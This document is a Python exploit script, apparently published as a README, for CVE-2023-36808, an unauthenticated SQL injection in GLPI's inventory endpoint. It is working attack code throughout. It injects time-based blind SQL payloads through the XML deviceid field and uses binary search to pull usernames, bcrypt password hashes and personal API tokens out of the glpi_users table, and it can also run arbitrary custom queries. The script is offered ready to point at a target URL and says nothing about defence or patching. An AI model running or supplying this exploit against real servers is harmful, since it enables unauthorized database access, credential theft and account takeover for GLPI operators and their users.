README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2023-36808 - GLPI Unauthenticated SQL Injection
Affected versions: GLPI < 10.0.10
Endpoint: POST /front/inventory.php
Injection point: <deviceid> field in XML body
Technique: time-based blind with binary search.
Parallel field extraction (name/password/token simultaneously)
with a concurrency cap to prevent timing interference.
"""
import requests
import sys
import time
import argparse
import threading
# ── Tunables ──────────────────────────────────────────────────────────────────
SLEEP = 0.5 # seconds to sleep on true condition
THRESHOLD = 0.35 # minimum elapsed time to count as "true"
MAX_PARALLEL = 2 # max simultaneous HTTP requests (prevents timing noise)
TIMEOUT = 15 # per-request timeout in seconds
# ─────────────────────────────────────────────────────────────────────────────
_sem = threading.Semaphore(MAX_PARALLEL)
_print_lock = threading.Lock()
def _post(session, url, payload):
xml = (
"<xml><QUERY>get_params</QUERY>"
f"<deviceid>{payload}</deviceid>"
"<content>fake</content></xml>"
)
with _sem:
t0 = time.time()
try:
session.post(
url,
data=xml,
headers={"Content-Type": "application/xml"},
timeout=TIMEOUT,
)
except requests.exceptions.Timeout:
return TIMEOUT # timed out → sleep definitely fired
return time.time() - t0
def check(session, url, condition):
"""Return True if SQL condition is true (SLEEP fired)."""
payload = f"x' AND 1=2 UNION SELECT IF({condition},SLEEP({SLEEP}),0)-- -"
return _post(session, url, payload) >= THRESHOLD
def extract_length(session, url, query, max_len=128):
lo, hi = 0, max_len
while lo < hi:
mid = (lo + hi) // 2
if check(session, url, f"LENGTH(({query}))>{mid}"):
lo = mid + 1
else:
hi = mid
return lo
def extract_char(session, url, query, pos):
"""Binary search for one character at position pos (1-indexed)."""
lo, hi = 32, 127
while lo < hi:
mid = (lo + hi) // 2
if check(session, url, f"ASCII(SUBSTR(({query}),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo) if lo > 32 else ""
def extract_string(session, url, query, label=""):
"""
Extract a full string sequentially (reliable timing),
printing progress as each character is resolved.
"""
length = extract_length(session, url, query)
if length == 0:
with _print_lock:
print(f" {label:<18} (empty)")
return ""
result = []
for i in range(1, length + 1):
c = extract_char(session, url, query, i)
result.append(c)
with _print_lock:
partial = "".join(result) + "." * (length - i)
print(f"\r {label:<18} {partial}", end="", flush=True)
final = "".join(result)
with _print_lock:
print(f"\r {label:<18} {final}")
return final
def check_target(session, url):
try:
r = session.post(
url,
data="<xml><QUERY>get_params</QUERY><deviceid>test</deviceid>"
"<content>fake</content></xml>",
headers={"Content-Type": "application/xml"},
timeout=10,
)
return r.status_code == 200, f"HTTP {r.status_code}"
except Exception as e:
return False, str(e)
def verify_injection(session, url):
return check(session, url, "1=1") and not check(session, url, "1=2")
def dump_users(session, url):
count = int(extract_string(session, url,
"SELECT COUNT(*) FROM glpi_users", "user count"))
users = []
for i in range(count):
print(f"\n[*] User {i + 1}/{count}")
user = {}
for lbl, q in [
("name", f"SELECT name FROM glpi_users LIMIT {i},1"),
("password", f"SELECT password FROM glpi_users LIMIT {i},1"),
("personal_token", f"SELECT personal_token FROM glpi_users LIMIT {i},1"),
]:
user[lbl] = extract_string(session, url, q, lbl)
users.append(user)
return users
def main():
global SLEEP, THRESHOLD, MAX_PARALLEL, _sem
parser = argparse.ArgumentParser(
description="CVE-2023-36808 - GLPI Unauthenticated SQLi exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="Example:\n python3 exploit.py http://10.0.0.1/glpi",
)
parser.add_argument("target", help="Base URL of GLPI (e.g. http://10.0.0.1/glpi)")
parser.add_argument("--sleep", type=float, default=SLEEP,
help=f"Sleep delay in seconds (default: {SLEEP})")
parser.add_argument("--parallel", type=int, default=MAX_PARALLEL,
help=f"Max concurrent requests (default: {MAX_PARALLEL})")
parser.add_argument("--query", type=str, default=None,
help="Run a custom SQL query and print the result")
args = parser.parse_args()
SLEEP = args.sleep
THRESHOLD = args.sleep * 0.7
MAX_PARALLEL = args.parallel
_sem = threading.Semaphore(MAX_PARALLEL)
base = args.target.rstrip("/")
url = f"{base}/front/inventory.php"
print(f"[*] CVE-2023-36808 - GLPI Unauthenticated SQLi")
print(f"[*] Target : {url}")
print(f"[*] Sleep : {SLEEP}s Threshold: {THRESHOLD:.2f}s Parallel: {MAX_PARALLEL}")
print()
session = requests.Session()
ok, err = check_target(session, url)
if not ok:
print(f"[-] Cannot reach target: {err}")
sys.exit(1)
print("[+] Target reachable")
print("[*] Verifying injection...")
if not verify_injection(session, url):
print("[-] Time-based injection not confirmed - try a higher --sleep value.")
sys.exit(1)
print("[+] Injection confirmed\n")
if args.query:
print(f"[*] Custom query: {args.query}")
result = extract_string(session, url, args.query, label="result")
print(f"\n[+] Result: {result}")
return
users = dump_users(session, url)
print("\n" + "=" * 85)
print(f"{'NAME':<20} {'PASSWORD (bcrypt)':<62} PERSONAL TOKEN")
print("-" * 85)
for u in users:
print(f"{u.get('name',''):<20} {u.get('password','') or '(empty)':<62} "
f"{u.get('personal_token','') or '(empty)'}")
print("=" * 85)
if __name__ == "__main__":
main()